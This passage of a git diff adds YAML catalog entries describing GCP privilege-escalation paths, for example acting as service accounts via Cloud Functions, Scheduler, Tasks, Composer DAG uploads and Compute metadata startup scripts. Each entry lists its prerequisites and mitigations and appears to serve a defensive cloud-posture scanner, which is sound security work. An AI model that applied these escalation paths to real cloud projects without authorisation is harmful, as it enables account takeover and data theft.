of any service account in the project on which it holds iam.serviceAccounts.actAs, by redeploying an existing function. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_cloudfunctions_existing_source_update_path: true + scope: same_project + aggregate_as: "Service accounts attachable to existing functions in {project}" + conditions: + - id: existing_function + description: Needs an active existing function on which update and source-upload rights hold. An observed event trigger or invocation right supports execution; other callers remain unresolved. + - id: build_sa_actas + description: actAs is also checked on the configured or default build SA, except for the legacy Google-owned Cloud Build account. + - id: trigger + description: Triggering may require invoke permission or an event the source controls. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Restrict cloudfunctions.functions.update and grant actAs only on specific SAs. + notes: Update without actAs on the runtime and build SAs is rejected. A redeploy that omits the SA must preserve the existing runtime/build identity, otherwise the identity (and actAs requirement) changes. + +- id: gcp-cloudfunctions-update-env-actas + provider: gcp + service: cloudfunctions + title: Run code through a Node.js function's startup options + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md#cloudfunctionsfunctionsupdate--inject-a-startup-loader-without-source-update-permission + source_revision: 171e422 + summary: The source can execute an inline startup module in an active Node.js function when it can update the function's environment and act as its runtime and build service accounts. + requires: + all_of: + - action: cloudfunctions.functions.update + resource: "{target.host_resource}" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + attached_to_service: cloudfunctions_function + gcp_actas_granted_on_target: true + gcp_cloudfunctions_env_startup_path: true + scope: same_project + aggregate_as: "SAs of functions whose configuration the source can update" + conditions: + - id: inline_node_import + description: Node.js 20 and later accept an inline data-URL module through the NODE_OPTIONS --import option, avoiding a pre-existing payload file. + - id: build_sa_actas + description: The selector checks actAs on the configured or default build SA, except for the legacy Google-owned builder. + - id: trigger + description: The selector requires an observed event trigger or invocation right on the function or its Cloud Run service. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict cloudfunctions.functions.update and actAs on function SAs. + notes: Needs no source-upload permission. Other interpreter startup routes stay unresolved unless their payload and execution conditions are recorded. + references: + - https://nodejs.org/api/cli.html#--importmodule + - https://docs.cloud.google.com/functions/docs/reference/iam/roles + +- id: gcp-cloudfunctions-source-deploy-build-identity + provider: gcp + service: cloudfunctions + title: Run attacker build hooks as a function's build service account during source deployment + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md#source-deploy--selected-build-service-account--execute-as-the-builder-before-deployment + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the build service account selected for a function it can create or update from source. + requires: + all_of: [] + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_service_account + selector: + gcp_cloudfunctions_source_deploy_build_path: true + scope: same_project + aggregate_as: Build identity selected for functions in {project} + conditions: + - id: runtime_sa_actas + description: The selector checks actAs on a candidate runtime SA for create or the exact runtime SA of an existing function for update. + - id: build_sa_actas + description: Existing functions require actAs on a selected Compute or user-managed builder; creation is reported for an observed legacy builder, while an unproven new build stays unresolved. + - id: build_hook + description: The selected runtime/buildpack must execute a supplied build hook (e.g. a package.json build or gcp-build script) and egress must allow the proof channel. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Configure a dedicated least-privilege build SA for functions and remove Editor from the Compute default and legacy Cloud Build SAs. + references: + - https://docs.cloud.google.com/functions/docs/securing/build-custom-sa + - https://docs.cloud.google.com/build/docs/cloud-build-service-account-updates + notes: Build-stage credentials are obtained before the function image is deployed, so invocation is unnecessary. Deployment still needs authorization to use the runtime SA. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudidentity.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudidentity.yaml new file mode 100644 index 0000000000..b48f3dca87 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudidentity.yaml @@ -0,0 +1,41 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Cloud Identity (Google Groups) privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-cloudidentity-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# cloudidentity.groups.memberships.create is a synthetic requirement resolved from a Workspace +# Groups Admin / Super Admin role or a group's self-join settings, not a GCP IAM permission. + +- id: gcp-cloudidentity-add-member-to-group + provider: gcp + service: cloudidentity + title: Add a controlled principal to a Google group that holds IAM roles + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md#control-an-iam-bound-groups-membership--inherit-its-existing-gcp-roles + source_revision: 171e422 + summary: The source can join or add itself to an IAM-bound Google group and gain permissions it does not already hold. + requires: + all_of: + - action: cloudidentity.groups.memberships.create + resource: "{target.resource}" + target: + kind: gcp_group + selector: + resource_permission_covers_target: cloudidentity.groups.memberships.create + scope: any + aggregate_as: "Google groups whose membership the source can manage" + conditions: + - id: membership_authority + description: Requires a Workspace Groups Admin/Super Admin role or a group configured to allow self-join, plus a group IAM binding that adds a permission for the source. + - id: dynamic_groups + description: Dynamic (query-based) groups cannot take direct members; editing the query is an alternate path that needs Cloud Identity Premium. + - id: locked_groups + description: Locked groups restrict membership edits to authorized administrators, whose exact conditions may need separate verification. + - id: external_members + description: Group settings may forbid members outside the organization's domain. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Keep privileged groups owned by a small admin set, disallow self-join and external members, and review group OWNERs/MANAGERs. + references: + - https://cloud.google.com/identity/docs/groups + notes: Existing members already inherit the group's IAM roles, so they are excluded from this self-gain path. Dynamic groups cannot take a direct new member. Locked groups need an authorized administrator. Cloud Identity groups.memberships.create is resolved from directory evidence, not from a GCP IAM role. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudscheduler.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudscheduler.yaml new file mode 100644 index 0000000000..1fce6e1849 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudscheduler.yaml @@ -0,0 +1,83 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Cloud Scheduler privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-cloudscheduler-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# HTTP jobs with an OAuth token make attacker-defined requests to *.googleapis.com as the SA (the token is minted by the +# Scheduler service agent at delivery; the creator needs actAs). OIDC-only paths are excluded (audience-bound tokens). +# Scheduler jobs have no resource-level IAM. + +- id: gcp-cloudscheduler-jobs-create-actas + provider: gcp + service: cloudscheduler + title: Create a scheduler job that calls Google APIs authenticated as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md#cloudschedulerjobscreate-or-update--iamserviceaccountsactas--authenticated-http-dispatch-as-a-service-account + source_revision: 171e422 + summary: The source can schedule selected OAuth-authenticated Google API requests as a service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: cloudscheduler.jobs.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + gcp_cloudscheduler_authenticated_delivery: true + scope: same_project + aggregate_as: "Service accounts usable as Cloud Scheduler OAuth identity in {project}" + conditions: + - id: service_agent + description: The project's Cloud Scheduler service agent needs its service agent role to mint the OAuth token. + - id: request_level + description: The source acts as the SA one predefined HTTP request at a time (no token in hand); any Google API reachable over a single authenticated request is usable, which is sufficient to self-grant further access. + - id: response_visibility + description: The response body is not returned to the source; only status is visible in execution logs. + - id: trigger + description: The job fires on its schedule; on-demand firing needs cloudscheduler.jobs.run. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on specific SAs and restrict roles/cloudscheduler.admin. + references: + - https://cloud.google.com/scheduler/docs/http-target-auth + notes: OAuth target hosts are restricted to *.googleapis.com. HackTricks also describes a key-upload chain through the scheduled request (iam.serviceAccountKeys.create held by the job SA). + +- id: gcp-cloudscheduler-jobs-update-actas + provider: gcp + service: cloudscheduler + title: Update an existing scheduler job to call Google APIs as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md#cloudschedulerjobscreate-or-update--iamserviceaccountsactas--authenticated-http-dispatch-as-a-service-account + source_revision: 171e422 + summary: The source can change an existing job to send selected OAuth-authenticated Google API requests as a service account on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: cloudscheduler.jobs.update + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + gcp_cloudscheduler_update_job_path: true + gcp_cloudscheduler_authenticated_delivery: true + scope: same_project + aggregate_as: "Service accounts attachable to existing Cloud Scheduler jobs in {project}" + conditions: + - id: existing_job + description: Needs an enabled job, a paused job the source can resume, or a failed update the source can retry. + - id: service_agent + description: The project's Cloud Scheduler service agent needs its service agent role to mint the OAuth token. + - id: request_level + description: The source acts as the SA through predefined HTTP requests to *.googleapis.com, not with a token in hand. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Restrict cloudscheduler.jobs.update and grant actAs only on specific SAs. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudsql_external.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudsql_external.yaml new file mode 100644 index 0000000000..5e863029aa --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudsql_external.yaml @@ -0,0 +1,3 @@ +# Managed rotation is an exact database-principal pivot only after the target +# user, usable new password, and newly allowed database action are reviewed. +# Canonical policy: peaso/privesc/catalog_policy.yaml diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudtasks.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudtasks.yaml new file mode 100644 index 0000000000..9c652521f0 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudtasks.yaml @@ -0,0 +1,81 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Cloud Tasks privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-cloudtasks-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# HTTP tasks can send OAuth-authenticated requests to *.googleapis.com or deliver an OIDC token with a chosen audience. +# The Cloud Tasks service agent mints either token; actAs is enforced at enqueue, also for queue-level overrides. + +- id: gcp-cloudtasks-tasks-create-actas + provider: gcp + service: cloudtasks + title: Enqueue HTTP tasks authenticated as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md#cloudtaskstaskscreate-iamserviceaccountsactas + source_revision: 171e422 + summary: The source can enqueue selected OAuth-authenticated Google API requests or deliver an audience-bound OIDC identity token as a service account in the queue's project, if a usable queue exists. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_cloudtasks_enqueue_path: true + gcp_cloudtasks_authenticated_delivery: true + scope: same_project + aggregate_as: "Service accounts usable as Cloud Tasks OAuth identity in {project}" + conditions: + - id: service_agent + description: The project's Cloud Tasks service agent must be able to create an OAuth or OIDC token for the target service account. + - id: oauth_request_level + description: OAuth access is limited to predefined requests to *.googleapis.com, with no token returned to the source. + - id: oidc_audience + description: An OIDC token can be delivered to a chosen listener but only grants access where the target identity and chosen audience are trusted. + - id: existing_queue + description: Needs a running queue where tasks.create holds, a paused queue the source can resume, or rights to create both a queue and its task. Queue target overrides remain unresolved. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on specific SAs; roles/editor bundles tasks.create and actAs. + references: + - https://cloud.google.com/tasks/docs/creating-http-target-tasks + notes: The OIDC path can deliver a Google-signed identity token to an external listener; the OAuth path can only drive Google APIs directly. + +- id: gcp-cloudtasks-queues-setiampolicy-actas + provider: gcp + service: cloudtasks + title: Self-grant Cloud Tasks admin on a queue and enqueue authenticated tasks + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md#cloudtasksqueuessetiampolicy + source_revision: 171e422 + summary: The source can add task creation access it does not already have on an existing queue, then send an OAuth API request or deliver an audience-bound OIDC token as a service account on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_cloudtasks_queue_policy_path: true + gcp_cloudtasks_authenticated_delivery: true + scope: same_project + aggregate_as: "Service accounts usable via self-granted Cloud Tasks queues in {project}" + conditions: + - id: new_queue_access + description: The source needs a new task creation grant on the exact queue; unread policies or IAM member restrictions leave this unresolved. + - id: existing_queue + description: Needs a running queue on which setIamPolicy holds, or a paused queue the source can resume. A queue target override must be absent or removable with queues.update. + - id: service_agent + description: The project's Cloud Tasks service agent must be able to create a token for the target service account. + - id: oauth_request_level + description: OAuth access is limited to predefined requests to *.googleapis.com, with no token returned to the source. + - id: oidc_audience + description: An OIDC token can be delivered to a chosen listener but only grants access where the target identity and chosen audience are trusted. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Restrict cloudtasks.queues.setIamPolicy (roles/cloudtasks.queueAdmin, roles/cloudtasks.admin) and actAs grants. + notes: actAs is still enforced at enqueue, so the queue self-grant alone does not reach any SA. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/composer.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/composer.yaml new file mode 100644 index 0000000000..61ba9610c4 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/composer.yaml @@ -0,0 +1,101 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Cloud Composer (managed Airflow) privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-composer-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# Composer environments have no resource-level IAM (project-level only). DAGs and tasks run as the environment SA. + +- id: gcp-composer-environments-create-actas + provider: gcp + service: composer + title: Create a Composer environment running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md#composerenvironmentscreate--iamserviceaccountsactas--bucket-write--create-an-environment-over-a-chosen-identity + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs, by creating a Composer environment that runs as that service account and delivering a DAG to it. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: composer.environments.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + gcp_composer_create_with_dag_path: true + scope: same_project + aggregate_as: "Service accounts usable as Composer environment SA in {project}" + conditions: + - id: supported_location + description: The bucket region must return a Composer image version that supports custom buckets and can be used for new environments. + - id: code_delivery + description: The selector requires a new DAG object under dags/ in an eligible same-project regional custom bucket before environment creation; later writes to a new default bucket and package updates remain unresolved. + - id: legacy_actas_exemption + description: Until constraints/composer.enforceServiceAccountActAsCheck is enforced on a legacy organization, a creator can attach any project SA without actAs (the edge then reaches every project SA; not modelled). + - id: environment_sa_role + description: The selector requires an unconditional project-level Composer Worker role and derived read and list access to the selected bucket for the environment service account. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on specific SAs; roles/composer.admin does not include actAs but roles/editor does. + references: + - https://cloud.google.com/composer/docs/composer-2/access-control +- id: gcp-composer-environments-update + provider: gcp + service: composer + title: Update a Composer environment's variables, Airflow overrides, PyPI packages or load a snapshot + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md#composerenvironmentsupdate--install-attacker-controlled-python-as-the-environment-identity + source_revision: 171e422 + summary: The source can introduce a Python package into a running Composer environment that uses the target service account. + requires: + all_of: [] + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_service_account + selector: + attached_to_service: composer_environment + gcp_composer_pypi_update_path: true + scope: any + aggregate_as: SAs of Composer environments the source can update + conditions: + - id: package_delivery + description: The selector requires a running environment, enabled Composer API, exact service-account attachment, and derived update permission. Package resolution, build success, and later Airflow import depend on repository and runtime configuration. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict composer.environments.update to environment administrators and pin PyPI sources. + notes: Google documents PyPI installation as code execution on behalf of the environment service account; no actAs is re-checked on update. Build and later Airflow import can use different identities, so the runtime service-account edge remains conditional. Other environment-variable and snapshot paths are not asserted by this selector. +- id: gcp-composer-bucket-write + provider: gcp + service: composer + title: Write a DAG into a Composer environment's bucket + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md#storageobjectscreate--inject-a-dag-into-an-existing-environment-bucket + source_revision: 171e422 + summary: The source can obtain the privileges of the service account of every Composer environment whose DAG bucket it can write to. + requires: + all_of: [] + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_service_account + selector: + attached_to_service: composer_environment + gcp_composer_dag_upload_path: true + scope: any + aggregate_as: SAs of Composer environments whose DAG bucket the source can write + conditions: + - id: dag_sync + description: The selector requires a running or updating environment and derived storage.objects.create permission for a new Python file under its observed DAG prefix; the scheduler then synchronizes and parses it as the environment SA. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: derived + severity: critical + mitigation: Restrict write access to Composer environment buckets (roles/storage.objectAdmin/objectCreator on the bucket, roles/composer.environmentAndStorageObjectAdmin). + notes: Pure confused deputy through bucket write; the Import DAGs path of the SDK uses the same bucket write. Overwriting an existing DAG may also need storage.objects.delete. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/compute.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/compute.yaml new file mode 100644 index 0000000000..e54fbea50f --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/compute.yaml @@ -0,0 +1,370 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Compute Engine privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-compute-privesc/README.md and gcp-add-custom-ssh-metadata.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# Instance-metadata techniques need iam.serviceAccounts.actAs on the SA attached to the VM (HackTricks caution, even when +# the SA is already attached). The reachable SA token is limited by the VM's OAuth access scopes. + +- id: gcp-compute-instances-create-actas + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: compute + title: Create a VM running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computeinstancescreate--configuration-dependent-vm-permissions--iamserviceaccountsactas + source_revision: 171e422 + summary: The source may run startup code with an attachable service account on a newly created VM when its compute and resource permissions allow a usable configuration. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: compute.instances.create + resource: "*" + - action: compute.instances.setMetadata + resource: "*" + - action: compute.instances.setServiceAccount + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_vm_create_path: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts usable by new VMs in {project}" + conditions: + - id: usable_vm_configuration + description: An inventoried ready image and usable subnet with external IP permission provide one concrete startup-script VM configuration. Missing or alternative boot and network paths remain unresolved. + - id: token_exfil_path + description: Startup code still needs working outbound access to send or use the token; subnet permission does not itself prove actual connectivity. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant roles/iam.serviceAccountUser only on specific low-privilege SAs, never project-wide, and keep privileged SAs out of projects where users can create VMs. + references: + - https://cloud.google.com/compute/docs/access/service-accounts + notes: The source can choose cloud-platform OAuth scope, but effective access remains bounded by the SA's IAM grants and any network or organization controls. A missing local image or subnet leaves the direct-VM path unresolved because public images, Shared VPC, existing disks, and private egress can supply other configurations. + +- id: gcp-compute-instancetemplates-mig-actas + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: compute + title: Launch VMs running as a chosen service account through a managed instance group + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computeinstancetemplatescreate--computeinstancegroupmanagerscreate--run-as-sa-via-a-managed-instance-group + source_revision: 171e422 + summary: The source may launch a new managed instance group with startup code running as a chosen service account when it and the project's Google APIs Service Agent can use a viable template, image, and subnet. + requires: + all_of: + - action: compute.instanceTemplates.create + resource: "*" + - action: compute.instanceGroupManagers.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_mig_create_path: true + scope: any + aggregate_as: "Service accounts usable by MIG-launched VMs in {project}" + conditions: + - id: cross_project_sa + description: Cross-project SAs require additional attachment policy and service-agent checks; such paths remain unresolved. + - id: actas_at_instantiation + description: Compute validates that the project's Google APIs Service Agent, not the caller, can act as the target service account and use the resources in the template. + - id: supporting_permissions + description: A concrete new template with a startup script, ready image, new disk, and external-IP subnet needs matching caller and service-agent permissions. Alternative boot and private-egress paths remain unresolved. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Restrict instanceTemplates/instanceGroupManagers create; remove roles/editor from the Google APIs Service Agent where possible and grant it Service Account User only on the SAs MIGs should run as. + references: + - https://docs.cloud.google.com/compute/docs/access/iam + notes: The Google APIs Service Agent ({project-number}@cloudservices.gserviceaccount.com) performs MIG VM creation. Its default role is roles/compute.instanceGroupManagerServiceAgent; its effective actAs and resource permissions are checked instead of assuming a default grant. The caller must be able to create the template and MIG. The modeled template includes startup metadata, a ready local image, a new disk, and a public-IP subnet so code can run and send or use the token; other configurations remain unresolved. + +- id: gcp-compute-instances-setserviceaccount-actas + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: compute + title: Swap the service account of an existing (stopped) VM + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computeinstancessetserviceaccount-iamserviceaccountsactas--swap-an-existing-vms-service-account + source_revision: 6fb9ac51fd + summary: The source may use a replacement service account on an exact existing VM when it can stop and start that VM as needed and run code or log in after the swap. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_swap_vm_path: true + scope: any + aggregate_as: Service accounts assignable to existing VMs in {project} + conditions: + - id: existing_vm + description: An exact existing VM must grant the source setServiceAccount and start, and the source must have actAs on the replacement service account. + - id: vm_stopped + description: A running VM also needs compute.instances.stop; a stopped VM can be changed directly and then started. + - id: code_on_vm + description: The source needs get and setMetadata on the same VM to plant a startup script, or a supported OS Login and SSH path; other existing access remains unresolved. + - id: cross_project_sa + description: An account from another project needs cross-project attachment policy and service-agent checks, which remain unresolved. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Restrict compute.instances.setServiceAccount (roles/compute.instanceAdmin) and grant actAs only on specific SAs. + notes: The VM must be stopped for the identity change and started to use its metadata token. The swap may set cloud-platform scope even if the old VM scope was narrow. A metadata startup script can run on this required start; an OS Login path is supported when it is enabled and direct SSH is reachable. Guest-agent operation and token use remain conditional. + +- id: gcp-compute-instances-setmetadata-existing-vm + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: compute + title: Modify an existing VM's metadata (SSH keys or startup script) to run as its service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computeinstancessetmetadata + source_revision: 6fb9ac51fd + summary: The source may reach the service account attached to an exact VM when it can change that VM's metadata and trigger a startup script or connect with a metadata SSH key. + requires: + all_of: + - action: compute.instances.setMetadata + resource: "{target.host_resource}" + target: + kind: gcp_service_account + selector: + attached_to_service: compute_instance + gcp_metadata_vm_path: true + scope: any + aggregate_as: "SAs of VMs whose metadata the source can modify" + conditions: + - id: ssh_or_reboot + description: The SSH-key path needs a running VM, a supported public SSH route and OS Login enforcement absent. The startup-script path needs reset, stop and start, or start on the exact VM; an organic reboot remains unresolved. + - id: access_scopes + description: A definite attached-service-account path requires cloud-platform access scope; narrower or missing scopes remain unresolved. + - id: guest_agent + description: The guest environment must run its metadata SSH-key or startup-script agent. An inventoried VM does not itself prove guest-agent health. + - id: metadata_fingerprint + description: The source needs compute.instances.get to read the current metadata fingerprint for a safe metadata update; an externally known fingerprint remains an unresolved alternative. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Enforce OS Login, restrict instance-level metadata writes, and monitor startup-script and SSH-key metadata changes. + references: + - https://cloud.google.com/compute/docs/connect/add-ssh-keys + notes: The raw instances.setMetadata method requires only compute.instances.setMetadata, but obtaining the current metadata fingerprint normally needs compute.instances.get. compute.requireOsLogin blocks the SSH-key branch only; the startup-script branch remains. A source with metadata write can set enable-oslogin=FALSE when that constraint is not enforced. Guest-agent execution and outbound token use remain conditional. Also covers the metadata SSH-key path in gcp-add-custom-ssh-metadata.md; the Windows password helper has separate prerequisites. + +- id: gcp-compute-projects-setcommoninstancemetadata + provider: gcp + service: compute + title: Use project metadata on an attached service account VM + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computeprojectssetcommoninstancemetadata + source_revision: 171e422 + summary: Project metadata control can place a startup script or SSH key on an eligible VM carrying a service account. + requires: + all_of: + - action: compute.projects.setCommonInstanceMetadata + resource: "{target.project}" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + attached_to_service: compute_instance + gcp_actas_granted_on_target: true + gcp_project_metadata_vm_path: true + scope: same_project + aggregate_as: "SAs of VMs inheriting project metadata in {project}" + conditions: + - id: metadata_inheritance + description: A startup script needs an exact VM without overriding instance or zonal startup metadata; project SSH keys are ignored when the VM blocks them. + - id: execution_or_ssh + description: The source needs a controlled boot trigger or a running VM with a public SSH route that accepts project metadata keys. + - id: access_scopes + description: A definite attached-service-account path requires cloud-platform access scope; narrower or missing scopes remain unresolved. + - id: guest_agent + description: The VM guest environment must process startup scripts or metadata SSH keys; the inventory cannot prove agent health. + - id: metadata_fingerprint + description: The source needs compute.projects.get to read the current project metadata fingerprint for a safe update. + - id: project_actas + description: A definite project-wide update needs iam.serviceAccounts.actAs at project scope; a grant only on one attached account remains unresolved. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict project metadata writes, enforce OS Login for SSH access, and protect sensitive VM startup metadata. + references: + - https://cloud.google.com/compute/docs/reference/rest/v1/projects/setCommonInstanceMetadata + notes: Also covers the project-level SSH key variant of gcp-add-custom-ssh-metadata.md. The project-wide actAs requirement follows the HackTricks caution for metadata-based techniques; a target-account-only grant remains unresolved. compute.requireOsLogin blocks only the SSH-key route, not startup scripts. Zonal startup-script values can override project values, and instance startup scripts take precedence over project scripts. Guest-agent execution and token use remain conditional. + +- id: gcp-compute-instances-setiampolicy + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: compute + title: Self-grant OS administrator login on an instance + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computeinstancessetiampolicy + source_revision: 171e422 + summary: The source can add its own OS administrator login role to an exact VM IAM policy, gaining a permission it did not already have on that VM. + requires: + all_of: + - action: compute.instances.setIamPolicy + resource: "{target.policy_resource}" + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - compute.instances.osAdminLogin + aggregate_as: Instance OS administrator login the source can grant itself + conditions: + - id: exact_instance_policy + description: An exact VM and its IAM policy must be collected, and the source needs getIamPolicy to preserve existing bindings and conditions while adding a grantable instance role. A caller with the current policy from another source may still succeed. + - id: followup_technique + description: Logging in to the VM and using its attached service account require their own OS Login, SSH, actAs, and access-scope conditions. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict compute.instances.setIamPolicy on sensitive VMs to administrators. + references: + - https://docs.cloud.google.com/iam/docs/roles-permissions/compute + - https://docs.cloud.google.com/compute/docs/access/managing-access-to-resources + notes: roles/compute.osAdminLogin is grantable at the instance level. This edge represents the new instance permission, not the attached service account; OS Login or metadata access requires a separate path. Missing VM policy or effective policy constraints leave the self-grant unresolved. + +- id: gcp-compute-instances-osadminlogin + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: compute + title: Log in as root to an OS Login VM and use its service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computeinstancesosadminlogin + source_revision: 